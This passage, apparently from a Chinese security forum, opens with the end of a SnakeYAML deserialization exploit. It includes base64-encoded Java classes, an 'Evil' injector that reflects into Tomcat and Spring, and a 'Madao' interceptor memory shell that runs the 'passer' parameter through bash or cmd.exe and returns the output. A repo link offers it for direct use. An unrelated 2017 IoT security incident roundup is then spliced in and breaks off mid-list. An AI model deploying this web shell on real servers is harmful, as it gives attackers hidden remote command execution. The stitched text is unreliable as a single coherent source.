J0AngwAnwCgDAChAKABAA9qYXZhL2xhbmcvQ2xhc3MMAKIAowEAEGphdmEvbGFuZy9PYmplY3QHAJYMAKQApQEAB2NvbnRleHQMAKYApwcAlwwAqACpDACqAKsBABBqYXZhL2xhbmcvU3RyaW5nAQA6b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5XZWJBcHBsaWNhdGlvbkNvbnRleHQuUk9PVAEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcHAKwMAK0ArgEAAzFvawcArwwAsACxAQATamF2YS91dGlsL0FycmF5TGlzdAwAsgCzBwCYDAC0ALUMALYAtwwAuAC5AQAFTWFkYW8MALoAuwEAFGdldFBhcmVudENsYXNzTG9hZGVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQzEeXY2NnZnQUFBRFFBbFFvQUlnQklDQUJKQ3dCS0FFc0lBRXdLQUUwQVRnb0FDZ0JQQ0FCUUNnQUtBRkVLQUZJQVV3Y0FWQWdBVlFnQVZnb0FVZ0JYQ0FCWUNBQlpCd0JhQndCYkNnQmNBRjBLQUJFQVhnb0FFQUJmQndCZ0NnQVZBRWdLQUJBQVlRb0FGUUJpQ2dBVkFHTUtBQlVBWkFzQVpRQm1DZ0FLQUdjS0FHZ0FhUW9BYUFCcUNnQm9BR3NMQUdVQWJBY0FiUWNBYmdFQUJqeHBibWwwUGdFQUF5Z3BWZ0VBQkVOdlpHVUJBQTlNYVc1bFRuVnRZbVZ5VkdGaWJHVUJBQkpNYjJOaGJGWmhjbWxoWW14bFZHRmliR1VCQUFSMGFHbHpBUUFSVEdGeWRITndiRzlwZEM5TllXUmhienNCQUFsd2NtVklZVzVrYkdVQkFHUW9UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3VEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObE8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bGFBUUFIY0hKdlkyVnpjd0VBRTB4cVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3pzQkFBNWlkV1ptWlhKbFpGSmxZV1JsY2dFQUdFeHFZWFpoTDJsdkwwSjFabVpsY21Wa1VtVmhaR1Z5T3dFQURYTjBjbWx1WjBKMWFXeGtaWElCQUJsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WjBKMWFXeGtaWEk3QVFBRWJHbHVaUUVBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUEyTnRaQUVBQjNKbGNYVmxjM1FCQUNkTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ4ZFdWemREc0JBQWh5WlhOd2IyNXpaUUVBS0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWE53YjI1elpUc0JBQWRvWVc1a2JHVnlBUUFTVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBTlUzUmhZMnROWVhCVVlXSnNaUWNBVkFjQWJ3Y0FXZ2NBWUFjQWJRY0FjQWNBY1FjQWNnRUFDa1Y0WTJWd2RHbHZibk1IQUhNQkFBcFRiM1Z5WTJWR2FXeGxBUUFLVFdGa1lXOHVhbUYyWVF3QUl3QWtBUUFHY0dGemMyVnlCd0J3REFCMEFIVUJBQWR2Y3k1dVlXMWxCd0IyREFCM0FIVU1BSGdBZVFFQUEzZHBiZ3dBZWdCN0J3QjhEQUI5QUg0QkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQUhZMjFrTG1WNFpRRUFBaTlqREFCL0FJQUJBQVJpWVhOb0FRQUNMV01CQUJacVlYWmhMMmx2TDBKMVptWmxjbVZrVW1WaFpHVnlBUUFaYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlZKbFlXUmxjZ2NBYnd3QWdRQ0NEQUFqQUlNTUFDTUFoQUVBRjJwaGRtRXZiR0Z1Wnk5VGRISnBibWRDZFdsc1pHVnlEQUNGQUhrTUFJWUFod3dBaGdDSURBQ0pBSGtIQUhFTUFJb0Fpd3dBakFDTkJ3Q09EQUNQQUpBTUFKRUFKQXdBa2dBa0RBQ1RBSlFCQUE5aGNuUnpjR3h2YVhRdlRXRmtZVzhCQUVGdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMmhoYm1Sc1pYSXZTR0Z1Wkd4bGNrbHVkR1Z5WTJWd2RHOXlRV1JoY0hSbGNnRUFFV3BoZG1FdmJHRnVaeTlRY205alpYTnpBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQUptcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxBUUFRYW1GMllTOXNZVzVuTDA5aWFtVmpkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFBeG5aWFJRWVhKaGJXVjBaWElCQUNZb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFFR3BoZG1FdmJHRnVaeTlUZVhOMFpXMEJBQXRuWlhSUWNtOXdaWEowZVFFQUMzUnZURzkzWlhKRFlYTmxBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaGpiMjUwWVdsdWN3RUFHeWhNYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BXZ0VBRVdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsQVFBS1oyVjBVblZ1ZEdsdFpRRUFGU2dwVEdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsT3dFQUJHVjRaV01CQUNnb1cweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdBUUFPWjJWMFNXNXdkWFJUZEhKbFlXMEJBQmNvS1V4cVlYWmhMMmx2TDBsdWNIVjBVM1J5WldGdE93RUFHQ2hNYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlRzcFZnRUFFeWhNYW1GMllTOXBieTlTWldGa1pYSTdLVllCQUFoeVpXRmtUR2x1WlFFQUJtRndjR1Z1WkFFQUxTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtZENkV2xzWkdWeU93RUFIQ2hES1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuUW5WcGJHUmxjanNCQUFoMGIxTjBjbWx1WndFQUQyZGxkRTkxZEhCMWRGTjBjbVZoYlFFQUpTZ3BUR3BoZG1GNEwzTmxjblpzWlhRdlUyVnlkbXhsZEU5MWRIQjFkRk4wY21WaGJUc0JBQWhuWlhSQ2VYUmxjd0VBQkNncFcwSUJBQ0ZxWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSUGRYUndkWFJUZEhKbFlXMEJBQVYzY21sMFpRRUFCU2hiUWlsV0FRQUZabXgxYzJnQkFBVmpiRzl6WlFFQUNYTmxibVJGY25KdmNnRUFCQ2hKS1ZZQUlRQWhBQ0lBQUFBQUFBSUFBUUFqQUNRQUFRQWxBQUFBTHdBQkFBRUFBQUFGS3JjQUFiRUFBQUFDQUNZQUFBQUdBQUVBQUFBS0FDY0FBQUFNQUFFQUFBQUZBQ2dBS1FBQUFBRUFLZ0FyQUFJQUpRQUFBZDBBQlFBSkFBQUEzQ3NTQXJrQUF3SUF4Z0RTS3hJQ3VRQURBZ0E2QkJrRXhnQzRFZ1M0QUFXMkFBWVNCN1lBQ0prQUliZ0FDUWE5QUFwWkF4SUxVMWtFRWd4VFdRVVpCRk8yQUEwNkJhY0FIcmdBQ1FhOUFBcFpBeElPVTFrRUVnOVRXUVVaQkZPMkFBMDZCYnNBRUZtN0FCRlpHUVcyQUJLM0FCTzNBQlE2QnJzQUZWbTNBQlk2QnhrR3RnQVhXVG9JeGdBZ0dRZTdBQlZadHdBV0dRaTJBQmdRQ3JZQUdiWUFHcllBR0Zlbi85c3N1UUFiQVFBWkI3WUFHcllBSExZQUhTeTVBQnNCQUxZQUhpeTVBQnNCQUxZQUg2Y0FEQ3dSQVpTNUFDQUNBQU9zQkt3QUFBQURBQ1lBQUFCR0FCRUFBQUFNQUFzQURRQVZBQTRBR2dBUUFDb0FFUUJJQUJNQVl3QVdBSGdBRndDQkFCb0FqQUFiQUtrQUhnQzZBQjhBd3dBZ0FNd0FJUURQQUNJQTJBQWtBTm9BSmdBbkFBQUFaZ0FLQUVVQUF3QXNBQzBBQlFCakFHa0FMQUF0QUFVQWVBQlVBQzRBTHdBR0FJRUFTd0F3QURFQUJ3Q0pBRU1BTWdBekFBZ0FGUURGQURRQU13QUVBQUFBM0FBb0FDa0FBQUFBQU53QU5RQTJBQUVBQUFEY0FEY0FPQUFDQUFBQTNBQTVBRG9BQXdBN0FBQUFOd0FIL0FCSUJ3QTgvQUFhQndBOS9RQWRCd0ErQndBLy9BQW5Cd0E4L3dBbEFBVUhBRUFIQUVFSEFFSUhBRU1IQUR3QUFBajZBQUVBUkFBQUFBUUFBUUJGQUFFQVJnQUFBQUlBUnc9PQwAXgBfDAC8ALcMAL0AvgcAvwwAwABGDADBAKMHAMIMAMMAxgcAxwwAyADJDADKAMsBAA5hcnRzcGxvaXQvRXZpbAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQASamF2YS91dGlsL0l0ZXJhdG9yAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQANZ2V0U3VwZXJjbGFzcwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAC25ld0luc3RhbmNlAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RGVjb2RlcgEAB0RlY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAYamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyAQAGZGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7ACEALwAJAAAAAAACAAEAMAAxAAIAMgAAA10ABgATAAABnSq3AAG4AAK2AANMuAACtgADtgAEtgAFtgAFEgYDvQAHtgAITSwrA70ACbYACk4sKwO9AAm2AAq2AAQSCwO9AAe2AAg6BBkELQO9AAm2AAo6BRkELQO9AAm2AAq2AAS2AAUSDLYADToGGQYEtgAOGQYZBbYADzoHGQYZBbYAD7YABBIQBL0AB1kDEhFTtgAIOggZCBkHBL0ACVkDEhJTtgAKOgkZCBkHBL0ACVkDEhJTtgAKtgAEtgAFtgAFtgAFtgAFOgoZChITBL0AB1kDEhFTtgAIOgsZChIUA70AB7YACDoMGQsZCQS9AAlZAxIVU7YACjoNGQsZCQS9AAlZAxIVU7YACrYABLYABbYABbYABRIWtgANOg4ZDgS2AA6yABcSGLYAGRkOGQ22AA/AABo6DxkPtgAbOhAZELkAHAEAmQAgGRC5AB0BADoRGRG2AAS2AB4SH7YAIJkABLGn/9wZBC0DvQAJtgAKtgAEEiEDvQAHtgAIOhAZEBkFA70ACbYACsAAIjoRGRESI7gAJDoSGQ8ZErYAJbYAJlexAAAABAAzAAAAcgAcAAAACAAEAAsACwAMACQADwAuABAARQARAFEAFQBoABYAbgAYAHcAGQCRABsAowAcAMQAHwDWACAA4wApAPUAKwEYAC0BHgAuASYALwEyADABTAAxAVwAMgFdADQBYAA3AXgAOAGIADkBkQA6AZwAOwA0AAAAygAUAUwAEQA1ADYAEQAAAZ0ANwA4AAAACwGSADkAOgABACQBeQA7ADwAAgAuAW8APQA2AAMARQFYAD4APAAEAFEBTAA/ADYABQBoATUAQABBAAYAdwEmAEIANgAHAJEBDABDADwACACjAPoARAA2AAkAxADZAEUARgAKANYAxwBHADwACwDjALoASAA8AAwA9QCoAEkANgANARgAhQBKAEEADgEyAGsASwBMAA8BeAAlAE0APAAQAYgAFQBOADoAEQGRAAwATwBGABIAUAAAACAAAwDEANkARQBRAAoBMgBrAEsAUgAPAZEADABPAFEAEgBTAAAAQAAD/wE5ABEHAFQHAFUHAFYHAFcHAFYHAFcHAFgHAFcHAFYHAFcHAFkHAFYHAFYHAFcHAFgHAFoHAFsAACP6AAIAXAAAAAQAAQBdAAkAXgBfAAIAMgAAAJ4ABgAEAAAAShIiEicGvQAHWQMSKFNZBLIAKVNZBbIAKVO2ACpNLAS2ACu4ACwrtgAtTiwqBr0ACVkDLVNZBAO4AC5TWQUtvrgALlO2AArAAAewAAAAAgAzAAAAEgAEAAAAPgAdAD8AIgBAACoAQQA0AAAAKgAEAAAASgBgADoAAAAAAEoAYQBiAAEAHQAtAF4APAACACoAIABjAGQAAwBcAAAABAABAF0AAgBlAAAAAgBmAMUAAAAKAAEAkgCQAMQACQ==");
evilClass.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
}
public static Class defineClass(ClassLoader classLoader, String classByte) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClass.setAccessible(true);
byte[] evalBytes = Base64.getDecoder().decode(classByte);
return (Class<?>) defineClass.invoke(classLoader, new Object[]{evalBytes, 0, evalBytes.length});
}
public String getEngineName() {
return null;
}
public String getEngineVersion() {
return null;
}
public List<String> getExtensions() {
return null;
}
public List<String> getMimeTypes() {
return null;
}
public List<String> getNames() {
return null;
}
public String getLanguageName() {
return null;
}
public String getLanguageVersion() {
return null;
}
public Object getParameter(String key) {
return null;
}
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
public String getOutputStatement(String toDisplay) {
return null;
}
public String getProgram(String... statements) {
return null;
}
public ScriptEngine getScriptEngine() {
return null;
}
}
`Evil.class`
package artsploit;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
public class Evil {
public Evil() throws Exception {
// 从当前线程取出上下文，适用于多线程情况 -> 会报错，还是反射调用吧
// Context tomcatEmbeddedContext = ((TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader()).getResources().getContext();
ClassLoader tomcatClassLoader = Thread.currentThread().getContextClassLoader();
Method getResources = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getMethod("getResources");
Object resources = getResources.invoke(tomcatClassLoader);
Method getContext = getResources.invoke(tomcatClassLoader).getClass().getMethod("getContext");
Object tomcatEmbeddedContext = (Object) getContext.invoke(resources);
// 取出 ApplicationContext
Field contextField = getContext.invoke(resources).getClass().getSuperclass().getDeclaredField("context");
contextField.setAccessible(true);
Object applicationContext = (Object) contextField.get(tomcatEmbeddedContext);
Method getAttribute = contextField.get(tomcatEmbeddedContext).getClass().getMethod("getAttribute", String.class);
Object webApplicationContext = (Object) getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT");
Class<?> abstractApplicationContext = getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT").getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
Method getBean = abstractApplicationContext.getMethod("getBean", String.class);
Method getBeanDefinitionNames = abstractApplicationContext.getMethod("getBeanDefinitionNames");
// 测试输出所有 Bean 成功
// Object[] result = (Object[]) getBeanDefinitionNames.invoke(webApplicationContext);
// for(Object r:result){
// System.out.println(r.toString());
// }
// 单例模式，不能用 getBean -> SingletonObjects
Object abstractHandlerMapping = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
Field field = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping").getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
System.out.println("1ok");
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
for (Object i : adaptedInterceptors) {
if (i.getClass().getName().contains("Madao")) {
return;
}
}
// 获取主线程的类加载器
Method getParentCLassLoader = getContext.invoke(resources).getClass().getMethod("getParentClassLoader");
ClassLoader parentClassLoader = (ClassLoader) getParentCLassLoader.invoke(tomcatEmbeddedContext);
Class<?> madaoClass = defineClass(parentClassLoader, "yv66vgAAADQAlQoAIgBICABJCwBKAEsIAEwKAE0ATgoACgBPCABQCgAKAFEKAFIAUwcAVAgAVQgAVgoAUgBXCABYCABZBwBaBwBbCgBcAF0KABEAXgoAEABfBwBgCgAVAEgKABAAYQoAFQBiCgAVAGMKABUAZAsAZQBmCgAKAGcKAGgAaQoAaABqCgBoAGsLAGUAbAcAbQcAbgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQARTGFydHNwbG9pdC9NYWRhbzsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA2NtZAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQANU3RhY2tNYXBUYWJsZQcAVAcAbwcAWgcAYAcAbQcAcAcAcQcAcgEACkV4Y2VwdGlvbnMHAHMBAApTb3VyY2VGaWxlAQAKTWFkYW8uamF2YQwAIwAkAQAGcGFzc2VyBwBwDAB0AHUBAAdvcy5uYW1lBwB2DAB3AHUMAHgAeQEAA3dpbgwAegB7BwB8DAB9AH4BABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAB/AIABAARiYXNoAQACLWMBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAbwwAgQCCDAAjAIMMACMAhAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDACFAHkMAIYAhwwAhgCIDACJAHkHAHEMAIoAiwwAjACNBwCODACPAJAMAJEAJAwAkgAkDACTAJQBAA9hcnRzcGxvaXQvTWFkYW8BAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAEWphdmEvbGFuZy9Qcm9jZXNzAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAHChDKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBAAhnZXRCeXRlcwEABCgpW0IBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAVjbG9zZQEACXNlbmRFcnJvcgEABChJKVYAIQAhACIAAAAAAAIAAQAjACQAAQAlAAAALwABAAEAAAAFKrcAAbEAAAACACYAAAAGAAEAAAAKACcAAAAMAAEAAAAFACgAKQAAAAEAKgArAAIAJQAAAd0ABQAJAAAA3CsSArkAAwIAxgDSKxICuQADAgA6BBkExgC4EgS4AAW2AAYSB7YACJkAIbgACQa9AApZAxILU1kEEgxTWQUZBFO2AA06BacAHrgACQa9AApZAxIOU1kEEg9TWQUZBFO2AA06BbsAEFm7ABFZGQW2ABK3ABO3ABQ6BrsAFVm3ABY6BxkGtgAXWToIxgAgGQe7ABVZtwAWGQi2ABgQCrYAGbYAGrYAGFen/9ssuQAbAQAZB7YAGrYAHLYAHSy5ABsBALYAHiy5ABsBALYAH6cADCwRAZS5ACACAAOsBKwAAAADACYAAABGABEAAAAMAAsADQAVAA4AGgAQACoAEQBIABMAYwAWAHgAFwCBABoAjAAbAKkAHgC6AB8AwwAgAMwAIQDPACIA2AAkANoAJgAnAAAAZgAKAEUAAwAsAC0ABQBjAGkALAAtAAUAeABUAC4ALwAGAIEASwAwADEABwCJAEMAMgAzAAgAFQDFADQAMwAEAAAA3AAoACkAAAAAANwANQA2AAEAAADcADcAOAACAAAA3AA5ADoAAwA7AAAANwAH/ABIBwA8/AAaBwA9/QAdBwA+BwA//AAnBwA8/wAlAAUHAEAHAEEHAEIHAEMHADwAAAj6AAEARAAAAAQAAQBFAAEARgAAAAIARw==");
adaptedInterceptors.add(madaoClass.newInstance());
}
public static Class defineClass(ClassLoader classLoader, String classByte) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClass.setAccessible(true);
byte[] evalBytes = Base64.getDecoder().decode(classByte);
return (Class<?>) defineClass.invoke(classLoader, new Object[]{evalBytes, 0, evalBytes.length});
}
}
`MaDao.class`：
package artsploit;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Madao extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("passer") != null) {
String cmd = request.getParameter("passer");
if (cmd != null) {
Process process;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});
}
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
} else {
response.sendError(404);
}
return false;
}
return true;
}
}
只需打包`AwesomeScriptEngineFactory.class`即可，访问测试：
成功注入：
项目地址：<https://github.com/passer-W/snakeyaml-memshell> ，可直接下载使用。 | 社区文章 |
# 年终盘点 | 最全面的2017物联网安全事件盘点
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 2017年随着物联网的高速发展，人们生活中与物联网设备的接触越来越频繁，人与物联网之间的联系更加紧密。IPv6通讯协议、5G通信的推广，网络传输和响应的速度越来越快，万物互联时代即将来临。根据研究机构IDC的报告，2020年全球物联网市场规模将达到17000亿美元，物联网设备将有200亿台。在2025年，这一数字更将达到754亿台。
>
> 同时，由于物联网设备的防护难度或对安全性的忽视，使得物联网设备异常脆弱，很容易被攻击者发现漏洞并利用。据统计，物联网设备在全球范围内已暴露7100多万台，包含路由器、摄像头、防火墙、打印机、VPN等设备类型，物联网设备的安全需求日益凸显。小编将为大家盘点2017年发生的十二大物联网安全事件。
## 一、智能玩具泄露200万父母与儿童语音信息
今年3月，Spiral
Toys旗下的CloudPets系列动物填充玩具遭遇数据泄露，敏感客户数据库受到恶意入侵。此次事故泄露信息包括玩具录音、MongoDB泄露的数据、220万账户语音信息、数据库勒索信息等。这些数据被保存在一套未经密码保护的公开数据库当中。
Spiral
Toys公司将客户数据库保存在可公开访问的位置之外，还利用一款未经任何验证机制保护的Amazon托管服务存储客户的个人资料、儿童姓名及其与父母、亲属及朋友间的关系信息。只需要了解文件的所处位置，任何人都能够轻松获取到该数据。
2015年11月，香港玩具制造商VTech就曾遭遇入侵，近500万名成年用户的姓名、电子邮箱地址、密码、住址以及超过20万儿童的姓名、性别与生日不慎外泄。就在一个月后，一位研究人员又发现美泰公司生产的联网型芭比娃娃中存在的漏洞可能允许黑客拦截用户的实时对话。
家长应该提高忧患意识，给小孩买任何可联网智能玩具之前，三思而后行。
更多详情可参见：[通过web蓝牙黑掉独角兽玩具](https://www.anquanke.com/post/id/85602)
## 二、基带漏洞可攻击数百万部华为手机
今年4月，安全公司Comsecuris的一名安全研究员发现，未公开的基带漏洞MIAMI影响了华为智能手机、笔记本WWAN模块以及loT(物联网)组件。
基带是蜂窝调制解调器制造商使用的固件，用于智能手机连接到蜂窝网络，发送和接收数据，并进行语音通话。攻击者可通过基带漏洞监听手机通信，拨打电话，发送短信，或者进行大量隐蔽，不为人知的通信。
该漏洞是HiSliconBalong芯片组中的4G
LTE调制解调器(俗称猫)引发的。Hisilion科技是华为的一个子公司，同时Balong应用处理器叫做:Kirin。
这些有漏洞的固件存在于华为荣耀系列手机中。研究人员无法具体确定有多少设备受到了这个漏洞的影响。他们估计有数千万的华为智能手机可能收到攻击。仅在2016年第三季度销售的3300万元的智能手机中，其中就有50%使用了这个芯片。
## 三、三星Tizen操作系统存在严重安全漏洞
今年4月，三星Tizen操作系统被发现存在40多个安全漏洞，Tizen操作系统被应用在三星智能电视、智能手表、Z系列手机上，全球有不少用户正在使用。
这些漏洞可能让黑客更容易从远程攻击与控制设备，且三星在过去8个月以来一直没有修复这些三星在产品测试中编码错误所引起的漏洞。安全专家狠批其程序代码早已过时，黑客可以利用这些漏洞自远程完全地控制这些物联网装置。
值得一提的是三星目前大约有3000万台电视搭载了Tizen系统，而且三星更是计划到今年年底之前有1000万部手机运行该系统，并希望藉此减少对Android系统的依赖，但很显然Tizen现在仍不安全。
更多详情可参见：[操作系统中发现40个0day漏洞，三星开发人员到底在干什么？](https://www.anquanke.com/post/id/85850)
## 四、无人机多次入侵成都双流国际机场
今年4月，成都双流连续发生多起无人机(无人飞行器)黑飞事件，导致百余架次航班被迫备降或返航，超过万名旅客受阻滞留机场，经济损失以千万元计，旅客的生命安全和损失更是遭到了巨大的威胁。
